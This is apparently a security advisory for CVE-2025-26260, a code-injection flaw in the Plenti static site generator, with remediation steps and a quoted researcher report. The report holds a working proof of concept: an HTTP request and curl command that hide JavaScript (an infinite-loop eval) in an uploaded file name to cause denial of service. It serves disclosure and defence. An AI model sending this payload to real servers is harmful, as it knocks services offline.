How to Fix CVE-2025-26260
To remediate this vulnerability, upgrade all affected Github.com/plentico/plenti dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/plentico/plenti to 0.7.17
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/plentico/plenti
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-26260, inspect your project dependencies for Github.com/plentico/plenti:
inspect dependencies for github.com/plentico/plenti
Analyze the terminal output to locate any version of Github.com/plentico/plenti in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.17), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Github.com/plentico/plenti, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter.\n\n<img width=\"1145\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a08a3fe5-2fbd-4a05-b93c-2ad127e6ee81\" />\n\nLast part of compileSvelte function ssrStr parameter executed in v8go engine.\n\n<img width=\"754\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4e622761-3324-48d6-8264-6dd6e09055af\" />\n\nThis cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can't use all javascript metod, if there is no any vulnerability in v8go we can't escape sandbox and can't run dangerous command like opening socket etc. But we can create infinite loop and the plenti can't response any request.\n\nAfter posting a file with name 'layouts/global/test; eval(`while(1);`);var test.svelte' we can see the ssrStr parameter include our javascript codes.\n\n<img width=\"1023\" alt=\"image\" src=\"https://github.com/user-attachments/assets/369c7820-ff8a-4b9a-9cd3-6b0692f1dcf3\" />\n\n**Note**: Eval usage not must I just want to ensure that it's run javascript commands.\n\n### PoC\n**Request**\n```\nPOST /postlocal HTTP/1.1\nHost: localhost:3000\nContent-Length: 125\nContent-Type: application/json; charset=utf-8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]\n```\n**Video**\n\n\n**Curl Request**\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n -H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \\\n --data-binary $'[{\\\"action\\\":\\\"create\\\",\\\"encoding\\\":\\\"text\\\",\\\"file\\\":\\\"layouts/global/test; eval(`while(1);`);var test.svelte\\\",\\\"contents\\\":\\\"anethole\\\"}]' \\\n $'http://localhost:3000/postlocal'\n```\n\n### Impact\nIt's a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show.\n\n**Note:** Plenti is using V8GO and V8GO is using V8 version of 11.1.278.
